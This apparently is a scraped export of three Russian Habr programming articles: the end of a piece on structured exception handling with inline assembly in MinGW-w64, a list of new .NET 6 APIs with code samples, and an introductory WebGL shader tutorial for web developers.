Как видно из определения, структура состоит из 2х элементов по 32 бита, prev — адрес структуры с предыдущим обработчиком, handler — адрес функции обработчика исключения. Наличие элемента prev позволяет выстраивать цепочку из обработчиков, адрес последней структуры с актуальным обработчиком доступен через регистр fs:0, отсюда и начинается просмотр и вызов последовательности обработчиков, до тех пор, пока один из них не вернет значение ExceptionContinueExecution (0). Если ни один обработчик из цепочки обработчиков не может обработать исключение, то его обрабатывает первый элемент цепочки — обработчик исключений по умолчанию (стандартный обработчик), у которого нет варианта отказаться от обработки исключения.
#### SEH это ошибка
Я совершенно уверен в том, что сама изначальная идея SEH ошибочна. Операционная система будет сообщать программе о возникновении незапланированных «исключительных» ситуаций, таких как «деление на 0», «неверный HANDLE», «попытка исполнения неверной инструкции процессора» «попытка доступа к памяти при отсутствии соответствующих разрешений» и так далее. Совершенно нереально исправить такие ошибки во время исполнения программы, ошибка уже случилась, программа уже пошла по неверному пути, который привел ее к этой ошибке. Нельзя уже сделать ничего разумного, но SEH дает возможности:
1. Скрыть ошибку, заменив стандартный обработчик ошибок своим, и «обработать» исключение
2. Позволить программе «прожить» немного дольше, сделав вид, что «ничего не случилось»
И первое, и второе очень плохо.
К сожалению, стандартные обработчики ошибок современных ОС семейства Windows не показывают пользователю ничего, что могло бы информировать его о том, что случилось и что надо делать, после паузы и показа неинформативного окна приложение аварийно закрывается. Моя идея состоит в том, чтобы при возникновении исключения программист должен иметь возможность информировать пользователя об ошибке с помощью специально сформированных сообщений, после чего выполнить минимально возможную «приборку за собой» и постараться корректно закрыть программу. Еще раз напоминаю, что в большинстве случаев нормальное продолжение выполнения программы после возникновения исключения невозможно.
#### Компилятор GCC
GCC является главным компилятором для сборки ряда операционных систем; среди них — различные варианты Linux и BSD, а также ReactOS, Mac OS X, OpenSolaris, NeXTSTEP, BeOS и Haiku.
GCC часто выбирается для разработки программного обеспечения, которое должно работать на большом числе различных аппаратных платформ.
GCC является лидером по количеству процессоров и операционных систем, которые он поддерживает. Имеет развитые средства для программирования на встроенном ассемблере (ассемблерные вставки). Генерирует компактный и быстрый исполняемый код. Имеет возможности оптимизации, в том числе с учетом ассемблерных вставок. К относительным недостаткам GCC можно отнести непривычный синтаксис AT&T используемый во встроенном ассемблере.
GCC/MinGW является полностью надежным качественным компилятором, который, на мой взгляд, превосходит любой доступный на сегодняшний день компилятор языка Си по качеству сгенерированного кода. Это несколько менее выражено с самыми последними версиями MSVC, но все еще заметно. Особенно для всего, что связано с inline assembly, GCC на мой взгляд, превосходит MSVC.
Соответствие стандартам, как мне кажется, также намного лучше в GCC.
#### MinGW-W64 компилятор
MinGW— набор инструментов разработки программного обеспечения для создания приложений под Windows. Включает в себя компилятор, родной программный порт GNU Compiler Collection (GCC) под Windows вместе с набором свободно распространяемых библиотек импорта и заголовочных файлов для Windows API. В MinGW включены расширения для библиотеки времени выполнения Microsoft Visual C++ для поддержки функциональности C99.
В связи с тем, что в рамках изначального проекта MinGW не обещалось, что в его кодовую базу будут вноситься обновления, связанные с добавлением некоторых новых ключевых элементов Win32 API, а также наиболее необходимой поддержки 64-битной архитектуры, был создан проект MinGW-w64. Он является новой чистой реализацией портирования GNU Compiler Collection (GCC) под Microsoft Windows, осуществленной изначально компанией OneVision и переданной в 2008 году в общественное пользование (Public Domain). Сначала он был предложен на рассмотрение для интеграции с оригинальным проектом MinGW, но был отклонен в связи с подозрением на использование несвободного или проприетарного кода. По многим серьезным причинам этического характера, связанным с отношением со стороны авторов MinGW, ведущие разработчики кода MinGW-w64 решили больше не пытаться кооперироваться с проектом MinGW.
MinGW-w64 обеспечивает более полную реализацию Win32 API, включая:
* лучшую поддержку стандарта C99
* лучшую поддержку pthreads (включая возможность задействовать функциональность стандарта C++11 библиотеки libstdc++ компилятора GCC)
* GCC multilib
* точки входа в программу с поддержкой Unicode (wmain/wWinMain)
* DDK (из проекта ReactOS)
* DirectX (из проекта WINE)
* поддержку больших файлов
* поддержку 64-битной архитектуры Windows
Собственно, компилятор используемый в статье доступен по
[ссылке](https://sourceforge.net/projects/mingw-w64/files/Toolchains%20targetting%20Win32/Personal%20Builds/mingw-builds/8.1.0/threads-win32/dwarf/i686-8.1.0-release-win32-dwarf-rt_v6-rev0.7z)
#### Поддержка SEH в Mingw-w64
Совершенно неудовлетворительна поддержка SEH, проще сказать – ее нет, несмотря на наличие макросов \_\_try1() и \_\_except1. Мало того, что ни синтаксически (поскольку синтаксис \_\_try \_\_except() не поддерживается), ни семантически (макросы \_\_try1 \_\_except1 только позволяют установить/удалить обработчик исключений) невозможно программирование SEH, как с компиляторами Microsoft или Borland/Embarcadero, даже само использование макросов \_\_try1 \_\_except1 может приводить к проблемам
#### Проблемы
Использование стандартных макросов \_\_try1 и \_\_except1 может приводить к проблемам, так как в этих макросах явно изменяется состояние регистра ESP, но компилятор, который должен вести учет использования стека (что означает, что компилятор всегда должен «знать», каково значение регистра ESP), об этом не уведомляется. Может быть, стандартные макросы будут работать, а может быть и нет.
#### Решение
Во-первых, однозначно придется отказаться от использования стандартных макросов \_\_try1 и \_\_except1, вместо них будут ассемблерные вставки, не затрагивающие регистр ESP и локальная переменная типа EXCEPTION\_REGISTRATION в стеке. Приблизительно вот так:
```
static int exception=0;
EXCEPTION_REGISTRATION seh_ex_reg;
seh_ex_reg.handler = (PEXCEPTION_ROUTINE) exception_handler;
/*ассемблерная вставка, которая в поле prev записывает адрес предыдущей структуры из fs:0 и устанавливает новый адрес этой структуры в fs:0 */
asm ("\t movl %%fs:0, %%eax; movl %%eax, %0 \n" : "=r" (seh_ex_reg.prev) : : "%eax");
asm volatile("\t movl %0,%%eax; movl %%eax, %%fs:0 \n"::"r" (&seh_ex_reg) : "%eax");
// блок try
{
// code
if(exception == 0)
{
//ассемблерная вставка: убираем обработчик исключений
asm ( // restore previous handler, ESP is not modified
"\t movl %0, %%eax \n"
"\t movl %%eax, %%fs:0 \n"
:
:"r" (seh_ex_reg.prev)
: "%eax"
);
goto end;
}
}
// блок except
{
trusted_code://сюда мы попадаем при исключении
//ассемблерная вставка: убираем обработчик исключений
//выполняем очистку
}
end:
exit();
```
Во-вторых, необходимо отделить доверяемый код (т.е., отлаженный, не генерирующий исключений) от недоверяемого (где возможны исключения). Это достаточно стандартная практика, где за блоком try следует блок except С помощью нескольких глобальных переменных, ассемблерных вставок и имеющего дурную славу опрератора goto удалось решить такую задачу. Решение не претендует на универсальность, над этим еще надо думать, пока это выглядит как сваленный в кучу набор трюков. Недостатки: много ассемблерного кода, используются статические переменные, не производится «размотка» стека, состояние локальных переменных в стеке try блока теряется безвозвратно. Корректное завершение программы возможно, используя только переменные и функции из except блока.
От использования статических переменных, впрочем, легко отказаться, для чего придется «расширить» структуру EXCEPTION\_REGISTRATION, дополнив ее недостающими элементами, перенести туда все бывшие ранее статическими переменные. Это сделает код примера не намного сложнее, но зато код будет по-настоящему структурным, способным обрабатывать исключения на нескольких уровнях вложенности. Доступ к дополнительным элементам расширенной структуры EXCEPTION\_REGISTRATION\_EX из функции обработчика исключения осуществляется через параметр EstablisherFrame который нужно преобразовать к соответствующему типу. Заодно сохраним значения регистров ESP и EBP, чтобы восстановить стек фрейм к тому состоянию, которое было в начале блока try. Теперь наш пример обретает законченную форму. К сожалению, при возникновении исключения, содержимое локальных переменных блока try безвозвратно теряется.
[Ссылка на исходный текст](https://drive.google.com/drive/folders/1QNYKMfhImD1qmi4QLgpBDVYjnrZb_xH1?usp=sharing) | https://habr.com/ru/post/533882/ | null | ru | null |
# Новые API в .NET 6
.NET 6 в процессе [разработки](https://devblogs.microsoft.com/dotnet/announcing-net-6-preview-7/), и я хотел поделиться некоторыми из моих любимых новых API в .NET и ASP.NET Core, которые вам обязательно понравятся. Почему они понравятся? Потому что они разработаны при прямом участии нашего фантастического сообщества разработчиков .NET. Подробнее в статье.
Чтение и запись файлов
----------------------
В .NET 6 появился новый низкоуровневый API, позволяющий читать/записывать файлы без использования FileStream. Он также поддерживает scatter/gather IO (несколько буферов) и дублирующиеся чтение и запись при заданном смещении файла (file offset).
```
using Microsoft.Win32.SafeHandles;
using SafeFileHandle handle = File.OpenHandle("ConsoleApp128.exe");
long length = RandomAccess.GetLength(handle);
Console.WriteLine(length);
```
Путь и идентификатор процесса
-----------------------------
Есть несколько новых способов доступа к пути и идентификатору процесса без выделения нового объекта процесса:
```
int pid = Environment.ProcessId;
string path = Environment.ProcessPath;
Console.WriteLine(pid);
Console.WriteLine(path);
```
CSPNG (криптографически безопасный генератор псевдослучайных чисел)
-------------------------------------------------------------------
Генерация случайных чисел из CSPNG (криптографически безопасного генератора псевдослучайных чисел) стала проще, чем когда-либо:
```
// Дай мне 200 случайных bytes
byte[] bytes = RandomNumberGenerator.GetBytes(200);
```
### Parallel.ForEachAsync
Мы добавили Parallel.ForEachAsync, способ планирования асинхронной работы, который позволяет вам контролировать степень параллелизма:
```
var urlsToDownload = new []
{
"https://dotnet.microsoft.com",
"https://www.microsoft.com",
"https://twitter.com/davidfowl"
};
var client = new HttpClient();
await Parallel.ForEachAsync(urlsToDownload, async (url, token) =>
{
var targetPath = Path.Combine(Path.GetTempPath(), "http_cache", url);
HttpResponseMessage response = await client.GetAsync(url);
if (response.IsSuccessStatusCode)
{
using FileStream target = File.OpenWrite(targetPath);
await response.Content.CopyToAsync(target);
}
```
Помощники по настройке
----------------------
Мы добавили помощник, чтобы упростить сброс, если отсутствует требуемый раздел конфигурации:
```
var configuration = new ConfigurationManager();
var options = new MyOptions();
configuration.GetRequiredSection("MyOptions").Bind(options);
class MyOptions
{
public string? SettingValue { get; set;}
```
### LINQ
Также есть масса новых методов LINQ. Вот новый помощник для разбиения любого IEnumerable на пакеты:
```
int chunkNumber = 1;
foreach (int[] chunk in Enumerable.Range(0, 9).Chunk(3))
{
Console.WriteLine($"Chunk {chunkNumber++}");
foreach (var item in chunk)
{
Console.WriteLine(item);
}
}
```
Еще больше LINQ
---------------
Больше LINQ! Теперь есть методы MaxBy и MinBy:
```
var people = GetPeople();
var oldest = people.MaxBy(p => p.Age);
var youngest = people.MinBy(p => p.Age);
Console.WriteLine($"The oldest person is {oldest.Age}");
Console.WriteLine($"The youngest person is {youngest.Age}");
public record Person(string Name, int Age);
```
Вторая степень
--------------
Не держите математику в голове? И я нет. Вот несколько новых помощников для работы со второй степенью:
```
using System.Numerics;
uint bufferSize = 235;
if (!BitOperations.IsPow2(bufferSize))
{
bufferSize = BitOperations.RoundUpToPowerOf2(bufferSize);
}
Console.WriteLine(bufferSize);
```
Улучшения WaitAsync
-------------------
Теперь существует гораздо более простой (и правильно реализованный) способ ожидания асинхронного завершения задачи. Следующий код вернет await, если он не был завершен в течение 10 секунд. Операция может еще продолжаться. Это для неотменяемых операций.
```
Task operationTask = SomeLongRunningOperationAsync();
await operationTask.WaitAsync(TimeSpan.FromSeconds(10));
```
### ThrowIfNull
Больше не нужно проверять значение null в каждом методе перед тем, как сбросить исключение. Теперь это всего лишь одна строка кода.
```
void DoSomethingUseful(object obj)
{
ArgumentNullException.ThrowIfNull(obj);
}
```
Работа с NativeMemory
---------------------
```
using System.Runtime.InteropServices;
unsafe
{
byte* buffer = (byte*)NativeMemory.Alloc(100);
NativeMemory.Free(buffer);
}
```
Обработка сигналов Posix
------------------------
Встроенная поддержка обработки сигналов Posix здесь, и мы также эмулируем несколько сигналов в Windows.
```
using System.Runtime.InteropServices;
var tcs = new TaskCompletionSource();
PosixSignalRegistration.Create(PosixSignal.SIGTERM, context =>
{
Console.WriteLine($"{context.Signal} fired");
tcs.TrySetResult();
});
await tcs.Task;
```
Новый API метрик
----------------
Мы добавили совершенно новый API метрик, основанный на @opentelemetry в .NET 6. Он поддерживает измерения, суперэффективен и будет иметь экспортеры для популярных сервисов метрик.
```
using System.Diagnostics.Metrics;
// Вот как вы производите метрики
var meter = new Meter("Microsoft.AspNetCore", "v1.0");
Counter counter = meter.CreateCounter("Requests");
var app = WebApplication.Create(args);
app.Use((context, next) =>
{
counter.Add(1, KeyValuePair.Create("path", context.Request.Path.ToString()));
return next(context);
});
app.MapGet("/", () => "Hello World");
```
Вы даже можете listen и meter:
```
var listener = new MeterListener();
listener.InstrumentPublished = (instrument, meterListener) =>
{
if(instrument.Name == "Requests" && instrument.Meter.Name == "Microsoft.AspNetCore")
{
meterListener.EnableMeasurementEvents(instrument, null);
}
};
listener.SetMeasurementEventCallback((instrument, measurement, tags, state) =>
{
Console.WriteLine($"Instrument: {instrument.Name} has recorded the measurement: {measurement}");
});
listener.Start();
```
API современного таймера
------------------------
И последнее, но не менее важное: современный API таймера (я думаю, что это уже пятый API таймера в .NET). Он полностью асинхронен и не подвержен типам ошибок, с которыми сталкиваются другие таймеры, например, проблемами времени жизни объекта, отсутствием асинхронных обратных вызовов и т.д.
```
var timer = new PeriodicTimer(TimeSpan.FromSeconds(1));
while (await timer.WaitForNextTickAsync())
{
Console.WriteLine(DateTime.UtcNow);
}
```
### Summary
Это всего лишь несколько примеров новых API, которые появятся в .NET 6. Для получения дополнительной информации см. [Различия API, примечаний к выпуску .NET 6](https://github.com/dotnet/core/tree/main/release-notes/6.0/preview/api-diff). Кроме того, Стивен только что написал впечатляющий [пост](https://devblogs.microsoft.com/dotnet/performance-improvements-in-net-6/) об улучшении производительности в .NET6, так что обязательно прочтите его. Наконец, не забудьте [скачать](https://dot.net/download) предварительную версию .NET 6 и опробовать новые API уже сегодня. | https://habr.com/ru/post/574434/ | null | ru | null |
# Введение в программирование шейдеров для верстальщиков
WebGL существует уже давно, про шейдеры написано немало статей, есть серии уроков. Но в основной массе они слишком сложные для верстальщика. Даже лучше сказать, что они охватывают большие объемы информации, которые скорее нужны разработчику игрового движка, чем верстальщику. Там сразу начинают с построения сложной сцены, камера, свет… На обычном сайте для создания пары эффектов с фотографиями все эти знания избыточны. В результате люди делают очень сложные архитектурные конструкции и пишут длинные-длинные шейдеры ради очень простых по сути действий.
Все это побудило создать введение в те аспекты работы с шейдерами, которые наиболее вероятно пригодятся в работе именно верстальщику для создания различных 2d-эффектов с картинками на сайте. Конечно с поправкой на то, что сами по себе в дизайне интерфейсов они у нас применяются относительно редко. Мы сделаем стартовый шаблон на чистом JS без сторонних библиотек и рассмотрим идеи создания некоторых популярных эффектов, основанных на сдвиге пикселей, которые сложно сделать на SVG, но при этом они легко реализуются с помощью шейдеров.
> Предполагается, что читатель уже знаком с `canvas`, в общих чертах представляет, что такое WebGL, и владеет минимальными познаниями в математике. Некоторые моменты будут описаны упрощенно, не академично, с целью дать практическое понимание технологий для работы с ними, а не полную теорию их внутренней кухни или термины для вызубривания. Для этого есть умные книжки.
*Сразу стоит отметить, что интегрированные в статью редакторы от CodePen имеют свойство влиять на производительность того, что в них выполняется. Так что прежде, чем писать комментарий, что у вас на макбуке что-то тормозит — убедитесь, что проблема исходит не от них.*
Основные идеи
-------------
**Что такое шейдер?**
Что такое фрагментный шейдер? По сути, это — маленькая программа. Она выполняется для каждого пикселя на `сanvas`. Если у нас есть `canvas` размером 1000x500px, то эта программа выполнится 500000 раз, каждый раз получая в качестве своих входных параметров координаты пикселя, для которого она выполняется в данный момент. Это все происходит на GPU во множестве параллельных потоков. На центральном процессоре подобные вычисления занимали бы гораздо больше времени.
Вершинный шейдер — это тоже программа, но он выполняется не для каждого пикселя на `canvas`, а для каждой вершины в фигурах, из которых у нас все строится в трехмерном пространстве. Также параллельно для всех вершин. Соответственно получает на вход координаты вершины, а не пикселя.
Дальше в контексте нашей задачи происходит следующее:
* Мы берем набор координат вершин прямоугольника, на котором потом будет "нарисована" фотография.
* Вершинный шейдер для каждой вершины считает ее расположение в пространстве. У нас это будет сводиться к частному случаю — плоскости, параллельной экрану. Фотографии в 3d нам не нужны. Последующая проекция на плоскость экрана можно сказать ничего не делает.
* Дальше для каждого видимого фрагмента, а в нашем контексте для всех фрагментов-пикселей, выполняется фрагментный шейдер, он берет фотографию и текущие координаты, что-то считает и выдает цвет для этого конкретного пикселя.
* Если во фрагментном шейдере не было никакой логики, то поведение всего этого будет напоминать метод `drawImage()` у `canvas`. Но потом мы добавим эту самую логику и получим много всего интересного.
Это сильно упрощенное описание, но должно быть понятно, кто что делает.
**Немного про синтаксис**
Шейдеры пишутся на языке GLSL — OpenGL Shading Language. Этот язык очень похож на Си. Описывать здесь весь синтасис и стандартные методы не имеет смысла, но вы всегда можете воспользоваться шпаргалкой:
**Спойлер с картинками**
Каждый шейдер имеет функцию main, с которой начинается его выполнение. Стандартные входные параметры для шейдеров и вывод результатов их работы реализуются через специальные переменные с приставкой `gl_`. Они зарезервированы заранее и доступны внутри этих самых шейдеров. Так координаты вершины для вершинного шейдера лежат в переменной `gl_Position`, координаты фрагмента (пикселя) для фрагментного шейдера лежат в `gl_FragCoord` и.т.д. Полный список доступных специальных переменных вы всегда найдете в той же шпаргалке.
Основные типы переменных в GLSL достаточно незатейливы — `void`, `bool`, `int`, `float`… Если вы работали с каким-нибудь Си-подобным языком, вы их уже видели. Есть и другие типы, в частности векторы разных размерностей — `vec2`, `vec3`, `vec4`. Мы будем постоянно использовать их для координат и цветов. Сами переменные, которые мы можем создавать, бывают трех важных модификаций:
* **Uniform** — Глобальные во всех смыслах данные. Передаются извне, одинаковы для всех вызовов вершинных и фрагментных шейдеров.
* **Attribute** — Эти данные передаются уже более точечно и для каждого вызова шейдера могут быть разными.
* **Varying** — Нужны для передачи данных от вершинных шейдеров во фрагментные.
> Полезно делать префиксы u/a/v ко всем переменным в шейдерах, чтобы упростить понимание того, какие данные откуда взялись.
Полагаю, что стоит перейти к практическому примеру, чтобы сразу смотреть все это в действии и не загружать свою память.
Готовим стартовый шаблон
------------------------
Начнем с JS. Как это обычно и бывает при работе с `canvas`, нам нужен он сам и контекст. Чтобы не загружать код примеров, сделаем глобальные переменные:
```
const CANVAS = document.getElementById(IDs.canvas);
const GL = canvas.getContext('webgl');
```
Пропустим момент, связанный с размером `canvas` и его перерасчетом при изменении размера окна браузера. Этот код включен в примеры и обычно зависит от остальной верстки. Нет смысла акцентировать на нем внимание. Перейдем сразу к действиям с WebGL.
```
function createProgram() {
const shaders = getShaders();
PROGRAM = GL.createProgram();
GL.attachShader(PROGRAM, shaders.vertex);
GL.attachShader(PROGRAM, shaders.fragment);
GL.linkProgram(PROGRAM);
GL.useProgram(PROGRAM);
}
```
Сначала мы компилируем шейдеры (будет немного ниже), создаем программу, добавляем в нее оба наших шейдера и производим линковку. На этом этапе проверяется совместимость шейдеров. Помните про varying-переменные, которые передаются от вершинного во фрагментный? — Вот в частности их наборы здесь проверяются, чтобы потом в процессе не оказалось, что что-то не передали или передали, но совсем не то. Конечно, логические ошибки данная проверка не выявит, думаю это понятно.
Координаты вершин будут храниться в специальном массиве-буфере и будут по кусочкам, по одной вершине, передаваться в каждый вызов шейдера. Далее мы описываем некоторые детали для работы с этими кусочками. Во-первых, координаты вершины в шейдере мы будем использовать через переменную-атрибут `a_position`. Можно по-другому назвать, не важно. Получаем ее расположение (это что-то вроде указателя в Си, но не указатель, а скорее номер сущности, существующий только в рамках программы).
```
const vertexPositionAttribute = GL.getAttribLocation(PROGRAM, 'a_position');
```
Далее мы указываем, что через эту переменную будет передаваться массив с координатами (в самом шейдере мы его будем воспринимать уже как вектор). WebGL самостоятельно разберется с тем, какие именно координаты каких точек в наших фигурах передавать в какой вызов шейдера. Мы только задаем параметры для массива-вектора, который будет передаваться: размерность — 2 (будем передавать координаты `(x,y)`), он состоит из чисел и не нормализован. Последние параметры нам не интересны, оставляем нули по умолчанию.
```
GL.enableVertexAttribArray(vertexPositionAttribute);
GL.vertexAttribPointer(vertexPositionAttribute, 2, GL.FLOAT, false, 0, 0);
```
Теперь создадим сам буфер с координатами вершин нашей плоскости, на которой потом будет отображаться фотография. Координаты "в 2d" понятнее, а для наших задач это самое главное.
```
function createPlane() {
GL.bindBuffer(GL.ARRAY_BUFFER, GL.createBuffer());
GL.bufferData(
GL.ARRAY_BUFFER,
new Float32Array([
-1, -1,
-1, 1,
1, -1,
1, 1
]),
GL.STATIC_DRAW
);
}
```
Этого квадрата будет достаточно для всех наших примеров. `STATIC_DRAW` означает, что буфер загружается один раз и потом будет переиспользоваться. Повторно мы ничего загружать не будем.
Перед тем, как перейти к самим шейдерам, посмотрим на их компиляцию:
```
function getShaders() {
return {
vertex: compileShader(
GL.VERTEX_SHADER,
document.getElementById(IDs.shaders.vertex).textContent
),
fragment: compileShader(
GL.FRAGMENT_SHADER,
document.getElementById(IDs.shaders.fragment).textContent
)
};
}
function compileShader(type, source) {
const shader = GL.createShader(type);
GL.shaderSource(shader, source);
GL.compileShader(shader);
return shader;
}
```
Получаем код шейдеров из элементов на странице, создаем шейдер и компилируем его. По идее можно хранить код шейдеров в отдельных файлах и подгружать его во время сборки в виде строки в нужном месте, но CodePen не предоставляет такой возможности для примеров. Во многих уроках предлагается писать код прямо в строке в JS, но назвать это удобным язык не поворачивается. Хотя конечно на вкус и цвет...
Если при компиляции произойдет ошибка, скрипт продолжит выполнение показав пару предупреждений в консоли, которые не несут особого смысла. Полезно после компиляции посмотреть логи чтобы не ломать голову над тем, что же там не скомпилировалось:
```
console.log(GL.getShaderInfoLog(shader));
```
> WebGL предоставляет несколько разных вариантов отслеживания проблем при компиляции шейдеров и создании программы, но на практике получается, что в реальном времени мы все равно починить ничего не можем. Так что часто мы будем руководствоваться мыслью "отвалилось — значит отвалилось" и не будем загружать код кучей лишних проверок.
**Переходим к самим шейдерам**
Поскольку у нас будет всего одна плоскость, с которой мы ничего делать не собираемся, нам хватит и одного простого вершинного шейдера, который и сделаем в самом начале. Основные усилия будут сосредоточены на фрагментных шейдерах и все последующие примеры будут иметь отношение к ним.
> Старайтесь писать код шейдеров с более-менее осмысленными названиями переменных. В сети вы встретите примеры, где из однобуквенных переменных будут собираться функции с ядреной математикой на 200 строк сплошного текста, но то, что кто-то так делает, еще не значит, что это стоит повторять. Подобный подход — это не "специфика работы с GL", это — банальная копипаста исходников еще из прошлого века, написанных людьми, которые в молодости имели ограничения на длину имен переменных.
Для начала вершинный шейдер. В переменную-атрибут `a_position` будет передаваться 2d-вектор с координатами `(x,y)`, как мы и говорили. Шейдер должен вернуть вектор из четырех значений `(x,y,z,w)`. Перемещать в пространстве он ничего не будет, так что по оси z просто все обнуляем и ставим значение w в стандартную единицу. Если вам интересно, почему координат четыре, а не три, то вы можете воспользоваться поиском в сети по запросу "однородные координаты".
```
precision mediump float;
attribute vec2 a\_position;
void main() {
gl\_Position = vec4(position, 0, 1);
}
```
Результат работы записывается в специальную переменную `gl_Position`. У шейдеров нет оператора `return` в полном смысле этого слова, все результаты своей работы они записывают в специально зарезервированные для этих целей переменные.
> Обратите внимание на задание точности для типа данных float. Чтобы избежать некоторой части проблем на мобильных устройствах, точность должна быть хуже, чем highp и должна быть одинаковой в обоих шейдерах. Здесь это показано для примера, но хорошей практикой будет на телефонах подобную красоту с шейдерами совсем отключать.
Фрагментный шейдер для начала будет возвращать всегда один и тот же цвет. Наш квадрат будет занимать весь `canvas`, так что по факту здесь мы задаем цвет каждому пикселю:
```
precision mediump float;
#define GOLD vec4(1.0, 0.86, 0.6, 1.0)
void main() {
gl\_FragColor = GOLD;
}
```
Вы можете обратить внимание на числа, описывающие цвет. Это знакомый всем верстальщикам RGBA, только нормализованный. Значения не целые от 0 до 255, а дробные от 0 до 1. Порядок тот же.
> Не забывайте использовать препроцессор для всех магических констант в реальных проектах — это делает код более понятным не оказывая влияния на производительность (подстановка, также как и в Си, происходит при компиляции).
Стоит отметить еще один момент о препроцессоре:
> Использование постоянных проверок #ifdef GL\_ES в различных уроках лишено практического смысла, т.к. у нас в браузере на сегодняшний день никаких других вариантов GL просто не существует.
Но пора бы уже посмотреть на результат:
Золотой квадрат говорит о том, что шейдеры работают как положено. Имеет смысл немного поиграться с ними, перед тем, как перейти к работе с фотографиями.
**Градиент и преобразования векторов**
Обычно в уроках по WebGL начинают с рисования градиентов. Это имеет мало практического смысла, но будет полезно отметить пару моментов.
```
void main() {
gl_FragColor = vec4(gl_FragCoord.zxy / 500.0, 1.0);
}
```
В этом примере мы используем координаты текущего пикселя в качестве цвета. Вы часто будете такое встречать в примерах в сети. И то и другое — векторы. Так что никто не мешает все смешать в кучу. У евангелистов TypeScript здесь должен случиться приступ. Важным моментом является то, как мы достаем из вектора только часть координат. Свойства `.x`, `.y`, `.z`, `.xy`, `.zy`, `.xyz`, `.zyx`, `.xyzw` и.т.д. в разных последовательностях позволяют вытащить элементы вектора в определенном порядке в виде другого вектора. Очень удобно реализовано. Также вектор большей размерности можно сделать из вектора меньшей размерности, добавив недостающие значения, как мы и поступили.
> Всегда явно указывайте дробную часть чисел. Автоматического преобразования int -> float здесь нет.
**Uniforms и ход времени**
Следующий полезный пример — использование uniforms. Это те самые общие для всех вызовов шейдеров данные. Мы получаем их расположение почти тем же образом, что и для переменных-атрибутов, например:
```
GL.getUniformLocation(PROGRAM, 'u_time')
```
Потом мы можем устанавливать им значения перед каждым кадром. Также, как и с векторами, здесь есть много похожих методов, начинающихся со слова `uniform`, далее идет размерность переменной (1 для чисел, 2, 3 или 4 для векторов) и тип (f — float, i — int, v — вектор).
```
function draw(timeStamp) {
GL.uniform1f(GL.getUniformLocation(PROGRAM, 'u_time'), timeStamp / 1000.0);
GL.drawArrays(GL.TRIANGLE_STRIP, 0, 4);
window.requestAnimationFrame(draw);
}
```
> На самом деле нам не всегда нужны 60fps в интерфейсах. Вполне можно добавить тормозилку к requestAnimationFrame и снизить частоту перерисовки кадров.
Для примера будем изменять цвет заливки. В шейдерах доступны все основные математические функции — `sin`, `cos`, `tan`, `asin`, `acos`, `atan`, `pow`, `exp`, `log`, `sqrt`, `abs` и другие. Воспользуемся двумя из них.
```
uniform float u_time;
void main() {
gl_FragColor = vec4(
abs(sin(u_time)),
abs(sin(u_time * 3.0)),
abs(sin(u_time * 5.0)), 1.0);
}
```
Время в таких анимациях — понятие относительное. Здесь мы используем те значения, которые предоставляет нам `requestAnimationFrame`, но можем сделать свое "время". Идея в том, что если какие-то параметры описываются функцией от времени, то мы можем повернуть время в обратную сторону, замедлить, ускорить его или вернуться в исходное состояние. Это бывает очень полезно.
Но хватит абстрактных примеров, перейдем к использованию картинок.
**Загружаем картинку в текстуру**
Для того, чтобы использовать картинку, нам нужно создать текстуру, которая потом будет отрендерена на нашей плоскости. Для начала загружаем само изображение:
```
function createTexture() {
const image = new Image();
image.crossOrigin = 'anonymous';
image.onload = () => {
// ....
};
image.src = 'example.jpg';
}
```
После того, как оно загрузится, создаем текстуру и указываем, что она будет идти под номером 0. В WebGL одновременно может существовать много текстур и мы должны явно указать, к какой будут относиться последующие команды. В наших примерах будет только одна текстура, но мы все равно явно указываем, что она будет нулевой.
```
const texture = GL.createTexture();
GL.activeTexture(GL.TEXTURE0);
GL.bindTexture(GL.TEXTURE_2D, texture);
```
Остается добавить картинку. Также мы сразу говорим, что ее нужно перевернуть по оси Y, т.к. в WebGL ось перевернута:
```
GL.pixelStorei(GL.UNPACK_FLIP_Y_WEBGL, true);
GL.texImage2D(GL.TEXTURE_2D, 0, GL.RGB, GL.RGB, GL.UNSIGNED_BYTE, image);
```
По идее текстуры должны быть квадратными. Точнее даже должны иметь размер, равный степени двойки — 32px, 64px, 128px и.т.д. Но все мы понимаем, что фотографии никто обрабатывать не станет и они будут каждый раз разных пропорций. Это будет вызывать ошибки даже если `canvas` по размеру идеально подходит к текстуре. Поэтому мы заполняем все пространство до краев плоскости крайними пикселями изображения. Это стандартная практика, хотя и кажется немного костыльной.
```
GL.texParameteri(GL.TEXTURE_2D, GL.TEXTURE_WRAP_S, GL.CLAMP_TO_EDGE);
GL.texParameteri(GL.TEXTURE_2D, GL.TEXTURE_WRAP_T, GL.CLAMP_TO_EDGE);
GL.texParameteri(GL.TEXTURE_2D, GL.TEXTURE_MIN_FILTER, GL.LINEAR);
```
Остается передать текстуру в шейдеры. Это общие для всех данные, так что используем модификатор `uniform`.
```
GL.uniform1i(GL.getUniformLocation(PROGRAM, 'u_texture'), 0);
```
Теперь мы можем использовать цвета из текстуры во фрагментном шейдере. Но мы также хотим, чтобы картинка занимала весь `canvas`. Если изображение и `canvas` имеют одинаковые пропорции, то эта задача становится тривиальной. Для начала передаем размер `canvas` в шейдеры (это нужно делать каждый раз при изменении его размера):
```
GL.uniform1f(GL.getUniformLocation(PROGRAM, 'u_canvas_size'),
Math.max(CANVAS.height, CANVAS.width));
```
И делим на него координаты:
```
uniform sampler2D u_texture;
uniform float u_canvas_size;
void main() {
gl_FragColor = texture2D(u_texture, gl_FragCoord.xy / u_canvas_size);
}
```
*На этом моменте можно сделать небольшую паузу и заварить чаю. Мы проделали всю подготовительную работу и переходим к созданию различных эффектов.*
Эффекты
-------
При создании различных эффектов важную роль играет интуиция и эксперименты. Часто можно заменить сложный алгоритм чем-то совершенно простым и дающим похожий результат. Конечный пользователь разницы не заметит, а мы ускоряем работу и упрощаем поддержку. WebGL не предоставляет толковых инструментов для отладки шейдеров, так что нам выгодно иметь небольшие куски кода, которые могут уместиться в голове целиком.
> Меньше кода — меньше проблем. И читать проще. Всегда проверяйте шейдеры, найденные в сети, на предмет лишних действий. Бывает, что можно половину кода удалить и ничего не изменится.
Немного поиграем с шейдером. Большинство наших эффектов будут строиться на том, что мы возвращаем цвет не того пикселя на текстуре, который должен быть в этом месте, а какой-то из соседних. Полезно попробовать добавлять к координатам результат выполнения какой-либо стандартной функции от координат. Время также будет полезно использовать — так результат выполнения будет проще отслеживать, да и в конечном счете мы все равно будем делать анимированные эффекты. Попробуем поиспользовать синус:
```
gl_FragColor = texture2D(u_texture, gl_FragCoord.xy / u_canvas_size
+ sin(u_time + gl_FragCoord.y));
```
